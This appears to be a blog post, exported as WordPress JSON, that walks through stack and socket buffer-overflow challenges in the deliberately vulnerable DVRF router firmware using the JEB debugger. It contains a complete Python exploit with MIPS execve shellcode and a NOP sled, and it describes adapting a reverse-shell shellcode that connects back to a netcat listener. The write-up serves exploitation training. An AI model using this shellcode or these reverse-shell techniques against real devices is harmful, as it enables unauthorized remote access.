{"id":707,"date":"2017-08-22T08:04:06","date_gmt":"2017-08-22T16:04:06","guid":{"rendered":"https:\/\/www.pnfsoftware.com\/blog\/?p=707"},"modified":"2018-12-19T13:34:59","modified_gmt":"2018-12-19T21:34:59","slug":"firmware-exploitation-with-jeb-part-2","status":"publish","type":"post","link":"https:\/\/www.pnfsoftware.com\/blog\/firmware-exploitation-with-jeb-part-2\/","title":{"rendered":"Firmware exploitation with JEB: Part 2"},"content":{"rendered":"<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">This is the second blog post of our series on MIPS exploitation using Praetorian\u2019s <\/span><a href=\"https:\/\/p16.praetorian.com\/blog\/getting-started-with-damn-vulnerable-router-firmware-dvrf-v0.1\"><span style=\"font-weight: 400;\">Damn Vulnerable Router Firmware<\/span><\/a><span style=\"font-weight: 400;\"> (DVRF) written by <\/span><a href=\"https:\/\/twitter.com\/b1ack0wl\"><span style=\"font-weight: 400;\">b1ack0wl<\/span><\/a><span style=\"font-weight: 400;\">. In the <a href=\"https:\/\/www.pnfsoftware.com\/blog\/firmware-exploitation-with-jeb-part-1\/\">first part<\/a> we exploited a (not so simple) stack buffer overflow, using our JEB ROP gadget finder. Let\u2019s dig into the second and third buffer overflow challenges!<\/span><\/p>\n<h1><span style=\"font-weight: 400;\">Stack_bof_02<\/span><\/h1>\n<h2><span style=\"font-weight: 400;\">Recon<\/span><\/h2>\n<p><span style=\"font-weight: 400;\">As the first one, we face a:<\/span><\/p>\n<pre class=\"brush: bash; title: ; notranslate\" title=\"\">\r\nstack_bof_02: ELF 32-bit LSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically linked, interpreter \/lib\/ld-uClibc.so.0, not stripped\r\n<\/pre>\n<p><span style=\"font-weight: 400;\">Let\u2019s check the main function.<\/span><\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.pnfsoftware.com\/blog\/wp-content\/uploads\/2017\/08\/stack_bof_02_main.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-medium wp-image-709\" src=\"https:\/\/www.pnfsoftware.com\/blog\/wp-content\/uploads\/2017\/08\/stack_bof_02_main-300x118.png\" alt=\"\" width=\"300\" height=\"118\" srcset=\"https:\/\/www.pnfsoftware.com\/blog\/wp-content\/uploads\/2017\/08\/stack_bof_02_main-300x118.png 300w, https:\/\/www.pnfsoftware.com\/blog\/wp-content\/uploads\/2017\/08\/stack_bof_02_main.png 609w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">It looks almost exactly the same as the first challenge with only a different buffer size in the <\/span><i><span style=\"font-weight: 400;\">strcpy()<\/span><\/i><span style=\"font-weight: 400;\"> call. Let\u2019s confirm we don\u2019t have an instant win function, to which we can redirect the execution.<\/span><\/p>\n<p><a href=\"https:\/\/www.pnfsoftware.com\/blog\/wp-content\/uploads\/2017\/08\/stack_bof_02_functions.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-medium wp-image-710\" src=\"https:\/\/www.pnfsoftware.com\/blog\/wp-content\/uploads\/2017\/08\/stack_bof_02_functions-246x300.png\" alt=\"\" width=\"246\" height=\"300\" srcset=\"https:\/\/www.pnfsoftware.com\/blog\/wp-content\/uploads\/2017\/08\/stack_bof_02_functions-246x300.png 246w, https:\/\/www.pnfsoftware.com\/blog\/wp-content\/uploads\/2017\/08\/stack_bof_02_functions.png 268w\" sizes=\"auto, (max-width: 246px) 100vw, 246px\" \/><\/a><\/p>\n<h2><span style=\"font-weight: 400;\">Building The Exploit<\/span><\/h2>\n<p><span style=\"font-weight: 400;\">What we have here is a textbook case of stack buffer overflow. The stack is executable and we can write a pretty large buffer (508 bytes) to it thanks to the vulnerable <em>strcpy()<\/em>. \u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">First things first, I retrieved a MIPS shellcode from <\/span><a href=\"http:\/\/shell-storm.org\/shellcode\/files\/shellcode-792.php\"><span style=\"font-weight: 400;\">shellstorm<\/span><\/a><span style=\"font-weight: 400;\">, which I then translated into little-endian &#8212; the target binary being compiled for MIPSEL. Next, we need to find the exact stack address where we need to jump to. In order to ease the process (and make our exploit \u201cportable\u201d) I decided to prefix the shellcode with a NOP sled. <\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">To build the NOP sled, we can not simply use MIPS <code>NOP<\/code> instruction, because it is encoded\u00a0as four null bytes, and therefore cannot be copied with <em>strcpy()<\/em>. Using <a href=\"http:\/\/www.keystone-engine.org\/\">Keystone assembler<\/a>, I searched for an equivalent instruction, and ended up using\u00a0<code>xor $t0, $t0, $t0<\/code>, whose encoding does not contain null bytes.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">We only need to merge all the parts together and we have an exploit! Here is the complete exploit code:<\/span><\/p>\n<pre class=\"brush: python; title: ; notranslate\" title=\"\">\r\n#!\/usr\/bin\/python2\r\n\r\nimport struct\r\n\r\npayload = &quot;&quot;\r\n\r\n# NOP sled (XOR $t0, $t0, $t0; as NOP is only null bytes)\r\nfor i in range(30):\r\n    payload += &quot;\\x26\\x40\\x08\\x01&quot;\r\n\r\n# execve shellcode translated from MIPS to MIPSEL\r\n# http:\/\/shell-storm.org\/shellcode\/files\/shellcode-792.php\r\npayload += &quot;\\xff\\xff\\x06\\x28&quot; # slti $a2, $zero, -1\r\npayload += &quot;\\x62\\x69\\x0f\\x3c&quot; # lui $t7, 0x6962\r\npayload += &quot;\\x2f\\x2f\\xef\\x35&quot; # ori $t7, $t7, 0x2f2f\r\npayload += &quot;\\xf4\\xff\\xaf\\xaf&quot; # sw $t7, -0xc($sp)\r\npayload += &quot;\\x73\\x68\\x0e\\x3c&quot; # lui $t6, 0x6873\r\npayload += &quot;\\x6e\\x2f\\xce\\x35&quot; # ori $t6, $t6, 0x2f6e\r\npayload += &quot;\\xf8\\xff\\xae\\xaf&quot; # sw $t6, -8($sp)\r\npayload += &quot;\\xfc\\xff\\xa0\\xaf&quot; # sw $zero, -4($sp)\r\npayload += &quot;\\xf4\\xff\\xa4\\x27&quot; # addiu $a0, $sp, -0xc\r\npayload += &quot;\\xff\\xff\\x05\\x28&quot; # slti $a1, $zero, -1\r\npayload += &quot;\\xab\\x0f\\x02\\x24&quot; # addiu;$v0, $zero, 0xfab\r\npayload += &quot;\\x0c\\x01\\x01\\x01&quot; # syscall 0x40404\r\n\r\npayload += &quot;A&quot;*(508-len(payload))\r\n\r\nstack_addr = struct.pack(&quot;&lt;I&quot;, 0x7fffe2a8)\r\n\r\npayload += stack_addr\r\nwith open(&quot;input&quot;, &quot;wb&quot;) as f:\r\n    f.write(payload)\r\n\r\n<\/pre>\n<p><span style=\"font-weight: 400;\">We can see that the shellcode successfully executed and we now have a shell!<\/span><\/p>\n<p><a href=\"https:\/\/www.pnfsoftware.com\/blog\/wp-content\/uploads\/2017\/08\/bof_shell.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-medium wp-image-711\" src=\"https:\/\/www.pnfsoftware.com\/blog\/wp-content\/uploads\/2017\/08\/bof_shell-300x70.png\" alt=\"\" width=\"300\" height=\"70\" srcset=\"https:\/\/www.pnfsoftware.com\/blog\/wp-content\/uploads\/2017\/08\/bof_shell-300x70.png 300w, https:\/\/www.pnfsoftware.com\/blog\/wp-content\/uploads\/2017\/08\/bof_shell-768x178.png 768w, https:\/\/www.pnfsoftware.com\/blog\/wp-content\/uploads\/2017\/08\/bof_shell.png 949w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<h1><span style=\"font-weight: 400;\">Socket_bof<\/span><\/h1>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">The next challenge was similar to the second one but involved an open network socket to receive the user input, as the name of the challenge <\/span><span style=\"font-weight: 400;\">indicates. Let\u2019s check it out!<\/span><\/p>\n<p><a href=\"https:\/\/www.pnfsoftware.com\/blog\/wp-content\/uploads\/2017\/08\/main_socket.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-medium wp-image-714\" src=\"https:\/\/www.pnfsoftware.com\/blog\/wp-content\/uploads\/2017\/08\/main_socket-300x130.png\" alt=\"\" width=\"300\" height=\"130\" srcset=\"https:\/\/www.pnfsoftware.com\/blog\/wp-content\/uploads\/2017\/08\/main_socket-300x130.png 300w, https:\/\/www.pnfsoftware.com\/blog\/wp-content\/uploads\/2017\/08\/main_socket.png 692w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">It starts with the usual socket boilerplate code and binds on a port specified as a command line argument. After accepting a connection, it will read 500 bytes and send back the string \u201c<em>nom nom nom, you sent me %s<\/em>\u201d formatted with your 500 bytes input. <\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">The vulnerability comes from the small size of the <em>sprintf()<\/em> buffer, which is only 52 bytes long, as you can see here in JEB stackframe view:<\/span><\/p>\n<p><a href=\"https:\/\/www.pnfsoftware.com\/blog\/wp-content\/uploads\/2017\/08\/stackframe_socket.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-medium wp-image-713\" src=\"https:\/\/www.pnfsoftware.com\/blog\/wp-content\/uploads\/2017\/08\/stackframe_socket-300x37.png\" alt=\"\" width=\"300\" height=\"37\" srcset=\"https:\/\/www.pnfsoftware.com\/blog\/wp-content\/uploads\/2017\/08\/stackframe_socket-300x37.png 300w, https:\/\/www.pnfsoftware.com\/blog\/wp-content\/uploads\/2017\/08\/stackframe_socket.png 396w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>Our strategy here is similar to the previous exploit, except this time our shellcode will be a reverse shell.<\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Luckily, <a href=\"https:\/\/twitter.com\/rootHak42\">Jacob Holcomb<\/a>\u00a0has published <a href=\"http:\/\/shell-storm.org\/shellcode\/files\/shellcode-860.php\">this one<\/a> so we don&#8217;t have to do it ourselves. The only downside is that the IP it will connect to is hardcoded:<\/span><\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nli $a1, 0xB101A8C0 #192.168.1.177\r\nsw $a1, -4($sp)\r\naddi $a1, $sp, -8\r\n<\/pre>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\"> To ease the use of this shellcode, I added a <code>not<\/code> instruction to be able to connect to 127.0.0.1 or any IP address that contains null bytes. To make sure it works as intended and to debug offsets, let&#8217;s run the exploit in JEB&#8217;s debugger by setting a breakpoint (Ctrl+B) right before the <code>JR $RA<\/code> instruction and stepping through our shellcode.<\/span><\/p>\n<p><a href=\"https:\/\/www.pnfsoftware.com\/blog\/wp-content\/uploads\/2017\/08\/bp_ra.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-medium wp-image-715\" src=\"https:\/\/www.pnfsoftware.com\/blog\/wp-content\/uploads\/2017\/08\/bp_ra-300x38.png\" alt=\"\" width=\"300\" height=\"38\" srcset=\"https:\/\/www.pnfsoftware.com\/blog\/wp-content\/uploads\/2017\/08\/bp_ra-300x38.png 300w, https:\/\/www.pnfsoftware.com\/blog\/wp-content\/uploads\/2017\/08\/bp_ra.png 634w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p style=\"text-align: justify;\">We can then step through with the <code>stepo<\/code>\u00a0debugger command (or use the <code>F6<\/code>\u00a0shortcut) \u00a0and jump to the <code>Memory Code<\/code>\u00a0view.<\/p>\n<p>And we end up in our NOP sled as intended, stepping through it will make us arrive at our shellcode where we can verify that it works as we thought!<\/p>\n<p><a href=\"https:\/\/www.pnfsoftware.com\/blog\/wp-content\/uploads\/2017\/08\/shellcode_memcode.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-medium wp-image-717\" src=\"https:\/\/www.pnfsoftware.com\/blog\/wp-content\/uploads\/2017\/08\/shellcode_memcode-300x160.png\" alt=\"\" width=\"300\" height=\"160\" srcset=\"https:\/\/www.pnfsoftware.com\/blog\/wp-content\/uploads\/2017\/08\/shellcode_memcode-300x160.png 300w, https:\/\/www.pnfsoftware.com\/blog\/wp-content\/uploads\/2017\/08\/shellcode_memcode.png 609w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>Let&#8217;s start a listening socket with netcat on port <code>31337<\/code>\u00a0and confirm that we have a shell:<\/p>\n<p><a href=\"https:\/\/www.pnfsoftware.com\/blog\/wp-content\/uploads\/2017\/08\/success_socket_bof.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-medium wp-image-723\" src=\"https:\/\/www.pnfsoftware.com\/blog\/wp-content\/uploads\/2017\/08\/success_socket_bof-300x112.png\" alt=\"\" width=\"300\" height=\"112\" srcset=\"https:\/\/www.pnfsoftware.com\/blog\/wp-content\/uploads\/2017\/08\/success_socket_bof-300x112.png 300w, https:\/\/www.pnfsoftware.com\/blog\/wp-content\/uploads\/2017\/08\/success_socket_bof.png 508w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p style=\"text-align: justify;\">Success! I encourage you to stay tuned with the DVRF project updates because the challenge author will make some changes on the heap challenges (that we haven&#8217;t posted about because of that). A blog post covering notes on reversing a real router firmware will follow shortly!<\/p>\n","protected":false},"excerpt":{"rendered":"<p>This is the second blog post of our series on MIPS exploitation using Praetorian\u2019s Damn Vulnerable Router Firmware (DVRF) written by b1ack0wl. In the first part we exploited a (not so simple) stack buffer overflow, using our JEB ROP gadget finder. Let\u2019s dig into the second and third buffer overflow challenges! Stack_bof_02 Recon As the &hellip; <a href=\"https:\/\/www.pnfsoftware.com\/blog\/firmware-exploitation-with-jeb-part-2\/\" class=\"more-link\">Continue reading <span class=\"screen-reader-text\">Firmware exploitation with JEB: Part 2<\/span><\/a><\/p>\n","protected":false},"author":4,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[8,13],"tags":[],"class_list":["post-707","post","type-post","status-publish","format-standard","hentry","category-jeb2","category-native-code"],"_links":{"self":[{"href":"https:\/\/www.pnfsoftware.com\/blog\/wp-json\/wp\/v2\/posts\/707","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.pnfsoftware.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.pnfsoftware.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.pnfsoftware.com\/blog\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"https:\/\/www.pnfsoftware.com\/blog\/wp-json\/wp\/v2\/comments?post=707"}],"version-history":[{"count":0,"href":"https:\/\/www.pnfsoftware.com\/blog\/wp-json\/wp\/v2\/posts\/707\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.pnfsoftware.com\/blog\/wp-json\/wp\/v2\/media?parent=707"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.pnfsoftware.com\/blog\/wp-json\/wp\/v2\/categories?post=707"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.pnfsoftware.com\/blog\/wp-json\/wp\/v2\/tags?post=707"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}